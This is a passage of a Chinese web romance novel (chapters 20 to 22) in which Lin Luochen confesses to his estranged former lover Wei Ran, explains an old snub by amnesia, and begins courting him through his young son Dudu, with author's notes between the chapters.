大概看蔚染又懵了，林洛宸便说：“我不是要报复你，才回来接近你。” 蔚染：“嗯。” 原来这个人也知道他自己的行为有多刻意。 林洛宸：“我真是单纯喜欢嘟嘟……我不在乎他是谁的孩子。” 蔚染的手陷在被子里，不动声色地： “你不喜欢小孩子。” “但我喜欢嘟嘟。” “……” 房间里又是一阵静默。 蔚染还是半垂着头，露一截白得发光的细脖颈，略长的头发遮住额角，林洛宸看不见他的脸色和神情。 这种什么都掌控不了的感觉让林洛宸十分烦躁。 他知道，以蔚染的倔劲儿，如果不在今天、在此时此刻彻底说服这个人，给他一个自己非要这么做的理由，以后还是没戏。 ——估计蔚染宁愿自掏腰包跟嘟嘟拍一部亲子戏、告诉嘟嘟那就是林爸爸给投的，也不会接受自己的提议和赞助，甚至不会再让嘟嘟见自己。 他能诓骗得了嘟嘟，却忽悠不住蔚染。 可自己…… 可他林洛宸…… “我喜欢你。”林洛宸猛然说。 天人交战结束后，林洛宸平静地说出这四个字，又在蔚染震惊得终于抬眸望向他时，彻底爆发：“我还喜欢你！蔚染，行了吧？我、还、喜、欢、你。” 蔚染：“……” “你明白没有？我他妈就是犯贱，还想追你，现在你知道了吧？我是在追你！” 蔚染：“…………” 深陷在被子里的手攥紧，到血色全无。 蔚染浑身都在发抖。 以为自己的模样吓到他了，林洛宸赶紧深吸口气。双手插进裤袋里，他语气平复了许多，说：“不用你考虑接受我，但你也别拦着我追求你。仅此而已。” “我……” 蔚染刚想再说些什么，林洛宸已经又说：“连嘟嘟的存在你都能直接承认。到这份上了，你可别再告诉我，你要当明星，不能谈恋爱。” 蔚染：“……” 蔚染也没有要说这个。 他没想到当初跟林洛宸分手时自己随便想到的说辞，竟然就被林洛宸记了五年、信了五年。 蔚染竭力忍着自己的颤抖，胸腔的跳动却难以抑制，砰砰砰地，一整颗心都要蹦出来。 可是…… “可我不会答应你。” 蔚染苍白的嘴唇还是轻启，喉咙因为浓烈的情感也骤然收缩着，好像根本一句话都说不出来。 可蔚染还是忍着发酸发痛的眼眶，低下头说：“我……不可能答应你。” 林洛宸：“……” “为什么？”林洛宸再度爆发了，但凡蔚染回绝得不是这么决绝，他或许都不会如此愤怒。 那感觉就像是，蔚染从未考虑过要喜欢自己。 可是。 可那时候，在他们在一起的那两天里，在那之前的那些暧昧旖旎、疯狂心动的日常里，他是真的感觉蔚染很喜欢自己。……尽管蔚染后来都矢口否认了，说只是玩玩而已。 可他，就偏偏还活在那黄粱一瞬的美梦里。 林洛宸冷笑一声：“无所谓，你能逃就逃，能躲你就躲，反正我不会放弃，不行咱们就耗着。” 耗一辈子。 他自暴自弃。 偏偏蔚染就是吃软不吃硬，也被激怒了的蔚染说：“何必呢？” “什么？” “你现在又是何必。”蔚染直接抬头，他也很委屈，可有些事不能说，只能烂在肚子里。 蔚染便只说自己能说的事，努力把锅甩过去企图让对方后退：“之前装不认识我，现在又回来找我，如果你还咽不下当年那口气，不如现在就说，你想怎么办，我配合。” “我……”林洛宸愣住了，很深地怔愣：“我？？？” “……我什么时候装不认识你？” 蔚染懒得说。 林洛宸的出身……他跟林洛宸，本就不属于一个世界。 是因为老师的关系，才让他们有过一段时间的交集，可就像是离开象牙塔后发现世界其实全部不是自己所想象的那样一样，后来现实和命运也都在告诉蔚染，他们不可能有结果。直到最后…… 连老师都不在了。 蔚染这只断了线的风筝，不可能再有什么归宿了。 蔚染眼皮下耷，身心俱疲让他没什么力气多说话，也没什么想说的。 于是便很简短道：“两年以前，B市X平台年会，不是林总亲口说不认识我的么？” 那会儿夜将行刚刚杀青不久，正好赶上一月份三大平台都要举行自家的年度总结大会。 这个时候三大平台都会争夺顶流明星助力，哪个平台去的腕儿越多，哪个平台的热度就越高。 以往每年都会为此拼个火热。 但像蔚染这种连十八线都不算了的艺人，是没人邀请的。他还是因为陈导的推荐，才在X平台的年会上获得了一个席位。 总结大会无非就是给股东和观众们汇报这一年的业绩，同时吸引更多的投资商和股民加入，蔚染那时名不见经传，去不去都无足轻重。 但像这样的活动又总还是要参加一些，毕竟是结交人脉的机会，哪怕这机会渺茫到不足百分之一，可也不能不去。 那年蔚染的座位在很角落，如果不特别注意的话，还很可能把他当成是受邀前来的观众。 蔚染也很知进退，他在社交上没什么野心，如果有机会可以谈谈，没有就算了，他也在等待机会。 于是进场以后，他就只跟几个自己相熟的导演制片人打了招呼。 偏偏，却被他前经纪公司的一个“旧同事”给撞到了。 撞到也就算了，偏偏这旧同事还跟他有仇。 有仇也就算了，偏偏对方还跟蔚染下一部戏有望合作的导演，是那种关系！ 蔚染离开歌坛的这几年，顾翰飞也快沦为了十八线。 前几年选秀节目盛行，顾翰飞尚还可以靠流量维持生计，可近两年小鲜肉的选秀综艺也不太吃香了，顾翰飞又根本没啥别的才能，处境还不如已经在B级剧里当过男二的蔚染。 幸好顾翰飞会舔，被他舔上了个还算有点名气的导演，平时靠着对方的关系跑跑通告和综艺，倒不至于被公司雪藏。 于是那会儿比起来，就还是单打独斗的蔚染要更落魄一点。 顾翰飞看见这样的蔚染，立即就有点小人得志了。 以前两个人在同一个公司，蔚染是上头重金挖掘的音乐天才，即使顾翰飞他们先以练习生的身份进入公司已久，可蔚染在公司的地位还是比他们高出一大截儿。 蔚染不是流量明星，公司是打算将他培养成二十年前港台明星那样的全能明星。关键蔚染的确有那个实力。 学历高、才华横溢，还很会拍戏。 而且年轻时的蔚染，真的漂亮得不像话。 全能明星的时代早就过去了，毕竟人们更喜欢快餐文化，连娱乐圈里的明星们也觉得花大把时间和金钱培养提升自己不合算，没有人会去那么做了。 可蔚染就是个例外。 他确有实力，还愿意踏实做事。 他也的确不负众望。 刚出道的时候只发了一首歌，就直接火爆全网。 那一年蔚染的人气超过了许多捞快钱的老牌流量们。 那时候，全公司的练习生没有嫉妒蔚染的，反而谁见了蔚染都会想去贴他。 毕竟跟蔚染合作上个晚会，第二天的商业价值都会大涨。 公司那会儿也是飘了，眼见蔚染一个人就让整个公司扭亏为盈，高层们做出的决定与最开始挖蔚染时的目标开始出现分歧，甚至大相庭径。 说白了还是资本运营，没什么人情味儿。 公司后来为了尽量将蔚染的商业价值发挥到极致，在带“新人”方面也没有放过蔚染。 顾翰飞就很幸运地，被公司安排和蔚染炒CP。 可蔚染那会儿傲气死了，直接回绝，连考虑都不考虑。 公司还指望蔚染着赚钱，也不敢做得太过，便只得作罢。 但顾翰飞却因为这个事记恨上了蔚染。 因为蔚染后来，还是跟人拍了一部同人题材的电影，感觉也没什么可清高的。 也因为如果那时候蔚染跟他炒CP的话……即便现在偶像练习生这条路没落了，他说不定也会是最后都没落的顶流。 所以当知道蔚染与自己相熟的导演要合作时，顾翰飞是又鄙夷又着急，既鄙视蔚染，又担心自己这边的导演真看上蔚染。他想了想，就想起—— “对了阿染，你以前怎么没说过，你朋友那么厉害啊？我看见他今天也来了，就坐在第一排呢。” “第一排？”顾翰飞这边的王导惊诧地看向顾翰飞。 能在这种年会上坐第一排的，不是最大的资本大佬就是整个圈子的一哥一姐，身价或者商业价值上不了亿都别想了，蔚染怎么会有这样的朋友？！ 蔚染也很懵，他不知道自己认识的谁能坐到那第一排。 “是真的。”顾翰飞笑了笑，故意说：“头几年染哥你还没走的时候，他还总来公司找你呢，就那个长得特别帅的……” 蔚染一下子就知道他说的是谁了。 那会儿晚会就快接近尾声，整个会场的灯光都很晦暗，只有最前排的大屏幕闪着雪亮的光。 光芒将所有人的影子都拉得很长。 蔚染想起来，自己早些年刚回国出道的时候，林洛宸是总来公司看他的…… 有一次林洛宸来了，顾翰飞恰好跟蔚染走在一起，便顺便打趣似的问蔚染：“染哥，这帅哥是谁呀？” 蔚染那会儿没心机也不懂设防，就直接说那是自己一个玩得很好的弟弟。 顾翰飞便跟林洛宸打过招呼。 可林洛宸除了在蔚染面前以外，跟谁都冷。 那次他好像是没有理他，顾翰飞讪讪，却没说什么，只是事后偶尔提起那位帅哥弟弟，顾翰飞还说：“可他看你的眼神不像是弟弟啊染哥，我觉得他好像喜欢你呢。” …… 眼下重点是，林洛宸也来了？？ 那会儿蔚染跟林洛宸，也已经两年半没见。 不仅没见，还全然没有过任何联系……是断的很彻底。 可那会儿的蔚染，心还是会略微发着烫的。 于是想到那个人就跟自己在一个会场，他还是难以抑制地激动了一下。 虽然蔚染也不知道自己在盼着什么。 这时候，顾翰飞对王导说：“恰好阿染跟那位熟，不如就叫阿染帮你引荐一下？” 王导虽还觉得不切实际，但还是忍不住将希望的目光投向蔚染。 ……那可是第一排，如果真能搭上线…… “不，我们并不认识。”蔚染却率先说。在王导开口之前。 这样王导就不好意思开口了，但脸上已经出现了不愉的神色。顾翰飞要的就是这个效果—— 蔚染当初从神坛跌落，似乎是因为跟那个姓林的林总分了。 或者是因为别的什么原因，反正肯定是跟那个林总有关……事实上，今天他看见那坐在第一排的林总，也很惊讶，几乎一眼就认出了对方。 至于为什么觉得蔚染跟这位林总，关系早已经不好了。 是他曾无意间听见蔚染在讲电话，大概是在跟什么人在保证、会离开林xx。 但蔚染很机警，顾翰飞也没听清两句，更没留什么证据，就没对别人提起过这事。 而那之后的不久，蔚染就遭遇了网曝、还被公司雪藏，事业一落千丈……可是结合蔚染那弟弟的身份，他俩关系但凡是好一点儿，蔚染都不至于变成现在这样。 顾翰飞由此猜测，蔚染应该是拿了林总家的钱、离开了林总，现在两个人应该是老死不相往来。 他就是知道蔚染靠不上那个“弟弟”了，才故意跟王导提的。 能在娱乐圈向上爬的都是老油条，如果没有过机会王导还不会介意，现在，王导却不愿放弃这离机会这么近的一次，顾翰飞便在旁边贴心地说：“哎呀阿染你就别谦虚了，等会儿你就帮王导拉个线儿呗。” 王导直接接过话茬：“是啊小蔚，这样吧，只要你能让我跟你朋友见一面，哪怕几分钟的时间，我下部戏直接定你做男二！” 顾翰飞：“唉，散会了？天啊阿染，你说这巧不巧，那不就是你那个弟弟吗？” 蔚染：“……” 其实还没有散会。只是那个人要提前离席了。 蔚染发现，对方回到林家重新做少爷后，派头真是长了不小——林洛宸甫一站起来，周围的人都跟着刷啦啦站起了一片。 平台老总、各位大股东们争着围上去送这位欲提前离场的林总。 其他人不明所以，也都跟着站了起来。 林洛宸向出口方向走去。 而巧的是，蔚染就坐在距离出口很近的地方。 于是忽然变得混乱的会场上，蔚染的眼里，林洛宸大踏步地向他的方向走过来。 那个时候蔚染愣住了，几年不见，林洛宸瘦了好多，好像更高了，表情是他从未见过的冷峻。 他视线落在他脸上，移不开眼。 但对方却从未向他的方向看过一眼。 直到林洛宸迈着长步、彻底从他身边走过。 …… 蔚染并不知道自己在希冀什么，也称不上失落。他觉得可能是光线太暗了，林洛宸没有看见他。 愣神间，他忽然被顾翰飞推了一把，砸向了重重包裹着林洛宸的人群。 “唉，小心点啊！” 被他撞到的副总不耐烦地说了一句，却来不及回头看是谁撞了他，仍着急追随那位林总高大的身影而去。 之后，顾翰飞还嫌不够热闹似的，竟然喊了一句：“唉林总，蔚染在这儿呢！” 虽然是喊，但整个会场很吵，设备声音又大，其实并没有引得什么人注意到这边。 可林洛宸却回头了。 蔚染的视线，便骤然与他在空中相撞。 就那样对视了起来。 林洛宸旁边的X平台老总发现异状，就忙询问林总怎么了，注意到林总视线的方向和眼神，老总很会地问了一句：“有林总认识的？” 林洛宸的嘴巴轻微地张合。 速度虽快，但蔚染也不至于看不出来，他说的是—— “不认识。” 紧接着，林洛宸没有任何表情变化地直接离开了会场。 真像从未认识过他一样。 …… 那之后，蔚染跟王导的合作自然是飞了。 其实飞了也正常，本身就没有定下来是蔚染，但娱乐圈捧高踩低的大有人在，王导显然也不是什么人品周正的人—— 拒绝蔚染的试镜后，他还当面揶揄了蔚染一番，说什么既然不认识大人物，就踏踏实实的。 蔚染早就不在乎这种阴阳怪气了，并没有什么感觉。 但那场晚会后，他心门倒是彻底闭合上了——他确定林洛宸已经放下了他，或是恨他恨到老死不相往来。 总之是对面不相识。 于是蔚染也就再也不曾给自己的情感留过余地。 他将那些回忆和情感都偷偷安置在心门的最深处，再仔细地关好那扇门。 于是谁也进不去。也谁都出不去。 包括蔚染自己。 …… 不过有一说一，对于当年被王导飞掉的事，蔚染是真不曾有过遗憾抱怨，也没因此就牵连怪罪过没有认他林洛宸。 如果说有不舒服，大概还是那种云泥之别的碾压，让蔚染觉得难堪失落。 尤其是当着林洛宸的面儿。 ——蔚染曾经可是个，很傲气的人。 这些年不得不低三下四地各处去讨生活，尊严面子早就被踩过无数次了，这也算了。他也早就不在乎了。 只唯独在这姓林的面前…… 不知为何，他倒还企图维持自己好的一面。 可那些毕竟是假象，是维持不住的。 就像自己昨晚的狼狈，还不是被这个人彻彻底底地撞见。 他们终究是渐行渐远的。即使是现在，两个人面对面地对视着，那种距离也在不断拉开。 蔚染忽然觉得更累了。 他早就被生活磨平了棱角，也没有什么抱负和梦想。他就只想养好嘟嘟，托举嘟嘟直至嘟嘟长大成人…… 是啊，别的他什么都不需要了。 每当这么想的时候，蔚染反而会轻松许多。 这次他也扬起复又变得苍白的唇，对林洛宸说：“既然已经放下了，就算了吧，何必自苦。” 他只希望对方可以离他远一点，不要再来扰乱他的心了。 可林洛宸在了解了是在什么时候、在哪场晚会上发生的这样的事情后，却陡然说：“不能就这么算了。” “不能算了，蔚染……不能算了。” 林洛宸的声音里，激动中甚至夹杂着恐惧，也不知道该说什么似的，只能一遍遍重复。 蔚染：“……” 蔚染闭了闭眼睛，实在不想与之纠缠了，可林洛宸却抖着嗓子匆匆解释说： “蔚染，虽然我这么说你可能不信。……但我失过忆。” 蔚染：“……？” 失忆并不是自己没有认出蔚染的理由，林洛宸解释的并不理直气壮：“……可是那个时候，我是真不记得你了。” 蔚染：“……”？？？—— 作者有话说：考虑了下，还是晚上9点更吧，方便早睡[奶茶] 20-25 第21章 蔚染说的那个时间点, 林洛宸才刚从植物人的状态苏醒几个月，还在进行复健。 就像是尝不出味道也闻不到味道，他那会儿心里也总是空空的又闷闷的, 好像行走在雾里，又好像他接触的到这个世界的一切，都没有他想要的东西。 空荡荡的感觉实在让人躁郁。 林洛宸便将自己埋在事业中，几乎一天五个会。 去参加X公司的年会, 也是受邀去看投资项目。 而提前离开, 则是头疼病又犯了。 那天的会场的确有什么东西，让他莫名觉得烦闷又不安。 可是蔚染说的细节他确实不记得了, 那会儿头疼的厉害，看东西都是重影的, 他也没听见有人喊蔚染在那里。 至于为什么回头。 林洛宸自己也说不清。 蔚染：“…………” “你、你怎么会失忆？”蔚染万万没想到还能出现这种状况。 “没……”林洛宸下意识想说自己没事。苏醒以后他经常这么说——他既不想人关心他, 又嫌家里的那些人烦。 但在蔚染面前, 脱口而出的话却被猝然收回。 林洛宸稍一迟疑, 后改口：“嗯, 就出了个车祸。” 言辞简略, 但故意拖长了音。 数年以前，他磨着蔚染非要拉蔚染去看电影的时候，用的就是这种语气。 “车祸？？？” 蔚染太震惊了，根本没注意到林洛宸的语气，只追问：“什么时候？” “好几年前……跟你分手后不久吧。”对以前的事轻描淡写，林洛宸着重解释：“蔚染，我是真的不记得了。我想起你就回来找你了。” “……” 蔚染沉默了。 林洛宸眼眸下耷，露出一双可怜巴巴的狗狗眼。 这份再度陷入宁静的沉默，对他来说就是场漫长的审判。 蔚染再度攥紧了被子。 片刻后，他顶着一张苍白的面孔说：“忘就忘了吧, 可能对你来说，记住我让你太痛苦了。” 林洛宸：“……蔚染……” 阳光下，蔚染露出了个灿烂的笑容，美好得惹人心醉。但可能是过于纯粹、纤尘不染，这份美好看上去竟有几分残忍。 蔚染这些年常常是面无血色的状态，连笑容都不会很明显。 可这次，他却带着极近生动灿然的微笑，仿佛很多年前还是学生时那样，对林洛宸强调：“忘了挺好。” “…………” 蔚染拒绝他的态度，还跟许多年前一模一样，简短、决绝，完全不给任何人留有余地。 林洛宸几乎瞬间怒火中烧。 那个雨夜里被抛弃的小狗，现在早就变成了令人闻风丧胆的狼。 旁人没惹他都可能遭到袭击，更别提眼前这人，几次三番在他心里蹦迪。 可当看见蔚染苍白削瘦的模样时，林洛宸终究还是没跟他发火。 他想起最近几天从嘟嘟那里套来的话。 ……或者也不是他有意套话，是只要一提到他爸爸、他爸爸的工作，嘟嘟就会小广播一样循环播放他爸爸很辛苦、他爸爸不开心、他爸爸过得一点都不好…… 只要一想到这些…… 林洛宸最终闭了闭眼，说：“既然知道对不起我，那你但凡还有点愧疚，就别妨碍我追你。” 蔚染：？？？ 林洛宸霍地睁开眼睛：“林家的人说，你是为了从老爷子那诈那一千万的分手费，才答应跟我谈恋爱。” 蔚染：“……” 蔚染面色又白了一分。 他梗着脖子垂着眼眸，没有去看林洛宸的表情，只是默认一般地侧了侧头，“这你不是早就知道了吗？” 蔚染：“我就是拿了你爷爷的一千万……” “如果你是为了钱，那麻烦你过得好一点。” 不打算听他说下去，林洛宸直接暴躁打断他的话。 这次轮到蔚染猛地抬头看他。可林洛宸已经转身，他不再让蔚染看见他的脸。 林洛宸说：“等你真的过得好了点，我就信了你们的话。” 说完，他两手插兜，大迈步地离开了这间房间。 蔚染：“…………” 林洛宸拉开房门，嘟嘟立即看向这边。 连手里的玩具都不摆弄了。 林洛宸看着团坐在那里，大眼睛忽闪忽闪的蔚嘟嘟。 这次回国以前，家族里所有人都说，蔚染跟他在一起是为了钱，所以林洛宸忘了也好，忘了那个薄情寡义的人，他就不会再受到伤害了。所以才从没人跟他提过蔚染。 可林洛宸根本没信过这套鬼话。 他记忆里的蔚染，不会为了一千万的分手费就做这么个局。 不是说蔚染就不爱钱，而是这么点钱，蔚染根本就不需要那么做。 那些编排蔚染的人，实在是太小瞧蔚染了。 可蔚染却的的确确另有真爱。……为了那个真爱不惜公开承认嘟嘟，还宁愿沦为娱乐圈最底层，自己去摸爬滚打也要养好蔚嘟嘟…… 林洛宸当然气得要爆炸了。 更气的是，他发现自己看见蔚染那张脸就不舍得跟那个人发脾气。甚至见了一面后，他还疯狂想要跟对方和好！ 他宁愿蔚染是为了钱才离开他，于是他开始阴鸷偏执地发疯和做梦，想如果一千万就可以买蔚染跟他在一起一次。 那他愿意出一个亿，不，是全部家当，也要让蔚染不只一次地、千百次地、永远跟他在一起。 林洛宸时常这样自暴自弃。 他也的确这么做了。 可发现即便这样，也丝毫不能换来蔚染的一个侧目时，他的确是又快被气疯了。或者说，那种浓浓的无力感让他这个人会回到了五年前的雨夜，那样的不知所措。 直到昨天晚上。 他跟嘟嘟聊了许多，还做了嘟嘟的干爹。 …… 林洛宸不喜欢小孩子。可奇怪的是，他从来都不排斥嘟嘟。 嘟嘟是个很敏感的小宝宝，即使并没有听清爸爸跟干爹在房间里讲什么，但他似乎听见了叔叔大声说话的声音。 “叔叔。”嘟嘟站了起来，哒哒哒地来到林洛宸面前，仰起大头来看着叔叔，脸上的表情有着担忧。 即使不了解小孩子，林洛宸也觉得，这不是应该出现在人类幼崽脸上的神色。 于是他摸了摸嘟嘟圆润的小肩膀说，主动说：“放心，叔叔答应了嘟嘟，不会凶你爸爸。” “呀！”嘟嘟惊讶于宝宝还米有问，叔叔就自己说了宝宝想问的话。 嘟嘟是个聪明的宝宝，聪明的宝宝也喜欢聪明的叔叔。最关键的是，叔叔，他听了嘟嘟的话。 于是蔚嘟嘟嘴甜地说：“谢谢林爸爸，林爸爸你真好。” 林洛宸虚弱地笑了笑，很轻微地点头：“去陪你爸爸吧。” 他让开了门口的路。 但只过膝盖的小豆丁还是贴上前来，在他的腿上抱了抱。 林洛宸没想到嘟嘟会这样，僵硬地停顿了两秒，他骤然蹲下身，将软乎乎糯米糍粑一样的幼崽捞进怀里。 “林爸爸也谢谢嘟嘟。” 房间内，蔚染从自己的掌心间抬起头来，看见的就是这一幕。 指尖上还沾着一丢丢晶莹的液滴，蔚染透过朦胧泪眼看着嘟嘟软趴趴地贴着林洛宸，而高大的男人则在下一刻蹲下了身，就半蹲在地上跟嘟嘟讲话。 从侧面看过去，那一大一小两个人，认真的神情简直一模一样. 林洛宸说有事要忙，很快就离开了。 之后，蔚染便带着嘟嘟离开了医院。 林洛宸效率奇高，因为他剧组那边已经放了假，蔚染就算想回去拍戏都不行。 季养运也是第一次见到这种操作，他的视频电话很快就打来了。 “蔚染，你没事吧？” 蔚染已经带着嘟嘟坐在车上，视频上的他只穿了一件白色卫衣，仔细看还有点大，根本不是蔚染的尺码…… “没事。”蔚染说。 昨天事件过后，这也是蔚染第一次跟自己的经纪人对话，自然要把昨天的细节交代一遍。 他最后总结：“姓米的大概是觉得我会舍不得这个亚太区的代言答应他。或者他以为我的私生活很乱，不会在乎。” 蔚染最后歪了歪头，说着这些评价自己的话，蔚染却平静极了。 毕竟他也不是第一次遇到这种事了。 季养运说：“也或许他以为给你下药了，你就没辙了，最终只好认了。” 可蔚染看着弱，实则打人可狠。这季养运比谁都清楚。 最开始听说蔚染出事了，他当然是着急的。可后来听说蔚染被姓林的带走了……季养运看着蔚染身上不合尺寸的卫衣，还有蔚染明显哭过的眼睛，表示自己其实想问的是，蔚染没被姓林的欺负吧？ 但那属于是蔚染的私事了。 姓林的对于蔚染来说，从来就不一样。既然昨天蔚染都同意姓林的插手把嘟嘟接过去，那么…… 不过这些蔚染不提，他也不好意思问。 季养运便只说：“我也没想到那个姓米的竟然如此胆大包天，不过今天一早，我看雅洁那边已经公布了他的开除信息。” 季养运手下不是蔚染一个艺人，而且严格来说，他跟蔚染只是合作关系——跟上个经纪公司惨烈解约后，蔚染就自己单干，说什么都不肯再签公司。 所以平时蔚染参加活动季养运都是不跟的，他主要是负责给蔚染拉活、做审核和后勤。 但出了这样的事，季养运也不能说完全没有责任，如果不是目前不在S市、实在赶不回来，他早就跑来找蔚染了。 不过身在外地，季养运该做的事也没耽搁—— 艺人险些被品牌方高管揩油，这种事显然不能公开撕，否则对哪边都没好处，能和解就尽量和解了，这也是米闵德敢这么明目张胆的原因。 蔚染很可能都不是他第一个被他设计的人。 甚至如果没有证据，对于昨晚的事，对方还可能倒打一耙，到时候蔚染说不清，这事情又不能闹大，他们就只能吃这哑巴亏。 所以刚出事的时候，季养运就赶紧找人去昨天的会场搜集证据去了，然而不仅没什么证据，据说连米闵德这人都被林洛宸给带走了。 季养运：“而且我雅洁总部那边的朋友联系了我，说他们老总已经被人‘约谈’了。就在咱们北京时间昨晚，凌晨。他们那边正好在上班。” 蔚染：“……” 蔚染便立即想到林洛宸先前提的、让雅洁支付赔偿款的问题。 …… 他还没想好该怎么应对林洛宸，这种事情也自然不想去想，于是便说：“交给你吧，如果雅洁那边找你私了的话，你看着办。” “好。”季养运明白了蔚染的意思——这就是姓林的出手了，而他们只要等结果就可以了。 “你跟林总之间……”忍了又忍，季养运还是忍不住问。 当年蔚染被整得那么惨，说背后没有推手没人会信。 至于说那推手不是林家人，反正季养运是不信。 可全程隐形了的林洛宸才是最可恶的。 提到那个人，蔚染就下意识看了身边的嘟嘟一眼。 嘟嘟正举着自己的儿童手表在给自己的同学打电话，听声音对方应该是刑建豪。刑建豪在问嘟嘟为什么今天没来上学。 嘟嘟咿咿呀呀地解释，小小的人类幼崽已经学会照顾同胞的情绪价值了，嘟嘟说了爸爸休息、嘟嘟要陪爸爸玩，都没说是因为太烦他刑建豪，所以巴不得休息两天不上学。 刑建豪却仍在电话那边嚎叫：“什么，你爸爸休息你就可以不上学？？那我爸爸休息为什么，窝还要上学！” “啊呀……”嘟嘟隔空挥舞着自己的小手，保持温和强按烦躁：“你，不要总四跟嘟宝比啦！” 蔚染被自家宝宝的小童音萌化了，心情也轻松了点，趁嘟嘟没注意到这边，他对季养运说：“他今天跟我说，他出车祸了，还失忆了。” “……谁出车祸谁失忆？” 季养运反应了一下，才懂蔚染在说什么。 他也是重重一愣。 可提到这个事，蔚染的表情看着又像快哭了，丝毫没心情伪装似的，他抬了抬眸：“你能帮我查一查吗？” “查他车祸的事？” 季养运声音迟疑，没第一时间答应： “可是，这么多年都没漏一点风……林家不想被查到的事，我们普通人怎么打听得……好好好，查查查。” 季养运还是改了口，别说粉丝受不了蔚染的红眼尾，他做经纪人的也根本看不了蔚染哭啊！ 季养运：“既然是姓林的告诉你的，他又回来了，那那边估计他已经摆平得差不多了吧？……也是，他摆平不了，也回不来……” 蔚染没回话，视线从手机屏幕转到窗外，漂亮的凤眼眼波婉转，兜着一汪清澈的水，就是始终没有落下。 季养运：“……所以你是又心疼他了。” 蔚染依旧沉默。 可看蔚染的表情，季养运就已经懂了。 他始终是蔚染的经纪人，不得不提醒蔚染：“……也不能他说什么你都信，这个世界是很癫的，人心也会变。蔚染，你以为咱们这是狗血里吗？” 旁边原本跟刑建豪虚与委蛇的嘟嘟听见“狗血”两个字，小雷达立即竖了起来，也懒得理小豪在说什么了，他当即一蹬小腿：“就是，狗血呀~” 季养运听见了，连忙给予肯定：“就是，嘟嘟都说了，那也太狗血了！” 嘟嘟：“……” 蔚染：“……” 被固定在儿童座椅上的嘟嘟揣着手手，大眼睛都凝固住、眨也不眨了，耳旁刑建豪的声音也入不了嘟宝的耳了—— 嘟宝终于想起来了！那个词，叫狗血！ 在嘟嘟生来便留存的记忆里，他们就是在一本叫“狗血”的中。 可是为什么要跟小狗狗的血有关，嘟嘟搞不明白。 搞不明白，就联想不到一块儿，所以崽儿就总会忘记这个名词儿。 有好几次，宝宝试图跟爸爸说这个事，结果因为每次都忘记这个词，也就没办法给爸爸描述清楚这件事。 现在被经纪叔叔提起，嘟嘟终于想起来了。 黑漆漆的大眼睛滴溜溜地转动了下，嘟嘟看向自己的爸爸，分外认真地说：“可是爸爸，窝们，就是在一本狗血里啦。” 季养运：“……” 蔚染：“……” 蔚染看着分外认真的嘟嘟。 平时虽然总是状况外，但蔚染对嘟嘟的话却格外在乎，对待起来也很认真，他碰了碰嘟嘟的小手，笑意温柔：“嘟嘟怎么这么说？” “素真的！” 嘟嘟很着急地跟爸爸解释，但又说不清，而且嘟嘟的重点是：“嗦以爸爸跟嘟嘟，都要自立！只有独~立，才不会被坏人欺负了去！~” 可能是要强调的事情真的太重要了，嘟嘟都快把自己吼成了一台小人机。 宝宝不是第一次这么强调自立这件事了，电话那边的季养运听得莞尔又欣慰，他觉得挺好的，要不是有嘟嘟在，蔚染估计早就一蹶不振。 不得不说有些时候的蔚染的确很难沟通，但至少他听他家宝宝的话！ 还是嘟嘟给力！ 蔚嘟嘟也确实给力，这会儿为了强调自立，小拳头都握得死紧，彻底变成哆啦A梦小圆手。 蔚染握住宝宝那只都快憋得没血色了的手，嫩呼呼软嘟嘟的，心下骤然柔软了一片，也好似生出了无穷力量。 不管怎么说，过去的事都过去了，重要的是当下和未来。 于是蔚染也表态：“宝宝放心，爸爸会努力的。”—— 作者有话说：[猫爪][猫爪] 第22章 接下来的两天时间, 蔚染果真给嘟嘟请了假，全心全意地陪嘟嘟玩。 蔚染现在到底也算有点名气，不太能抛头露面公然带嘟嘟到人多的地方去玩, 但作为普通家长陪宝宝的各种日常，蔚染还是能做的。 上午陪嘟嘟看了动画片，又带着宝宝美美地睡了个午觉，然后就是吃饭、带出去散步。 趁工作日, 蔚染还特意选了人少的商场带嘟嘟去玩淘气堡, 也给嘟嘟买了玩具和送给同学的礼物—— 是路诸小朋友快过生日了，嘟嘟最近都有在认真地想, 该送路诸哥哥什么礼物。 本来嘟嘟是想亲手做贺卡送给路诸的，因为幼儿园的老师说, 亲手做的礼物最珍贵。 嘟嘟想把最珍贵的礼物送给朋友。 可嘟嘟不会做手工。……就完全没那个天赋, 什么剪纸啊画画啊什么的, 嘟嘟全部都get不到其中的精髓。 哪怕是举着小画笔在本子上瞎涂涂一天, 嘟嘟享受的也只是笔在本子上划过的沙沙声。……宝宝到最后也不知道自己在涂什么、有什么可涂的。 这是嘟嘟脸蛋上经常有水彩墨的主要原因之一。 对于这一点, 蔚染也举着自己手中的彩色画笔叹气。 这点嘟嘟真是随了自己了。 ……那个谁最热爱的事是摄影, 对构图和绘图都有一套自我的理解，天生对图画类作品就有别具一格的艺术见解，绘画更是信手拈来。 可嘟嘟…… 这蔚染也不得不承认，就自己跟嘟嘟的四只手，都比不上一般手工师傅的一根手指头！…… 有些事情真是不服不行。 所以后来，蔚染还是带嘟嘟给路诸挑选了两样玩具做礼物。 路诸比嘟嘟大两岁，是大宝宝，像嘟嘟他们这么大的小朋友，差两岁、喜欢的玩具都会很不相同，于是嘟嘟以自己的角度选了要送哥哥的, 蔚染又专门买了个六岁小孩会喜欢的模型汽车，要嘟嘟一并带给路诸。 嘟嘟尚不知道爸爸为什么要这样，但嘟宝是很大气的，他愿意把自己的东西都分享给朋友……唔，除了爸爸。爸爸是不能分享的。 所以嘟嘟便替路诸哥哥谢了爸爸，并表示生日的时候，也会把爸爸的祝福送到。 蔚染很享受这样的带崽时光，但也不得不说，他人在家里，全天电话也基本没断过。 休假第一天，下午的时候，依旧是季养运给他打来视频电话：“不是，这是啥意思，姓林的要找你和嘟嘟拍戏？？你答应了？？” 蔚染对着摄像头眨眼睛，奋力思考该怎么解释，手机屏幕上就已经出现了一份合同：“那边把合同都给我发来了！” 蔚染：“……” 他没想到林洛宸速度会这么快。 季养运：“这么大的事，你刚才怎么不跟我说？” 蔚染：“……” 能说吗？如果硬说理由的话，就还是……他想到了林洛宸是认真的，但也没想到对方这么认真。 或者说他根本就还是懵的，什么都来不及想。 看着蔚染因为为难而脸色煞白的模样，季养运也不指望蔚染说出个一二三来了，就只问：“所以要合作？” “合同我大致看了，很利好我们这边，也没什么陷阱。不戴有色眼镜看待这件事的话，对方目前的诚意很足。” 季养运翻着合同书，其实已经动心了。 但蔚染跟姓林的之间关系特殊，而且还涉及到林家本家那边……这事儿也不能说没风险，最终还是得蔚染自己做决定。 蔚染也是想到了什么，说：“先压下吧，就当没看见。” “也行。” 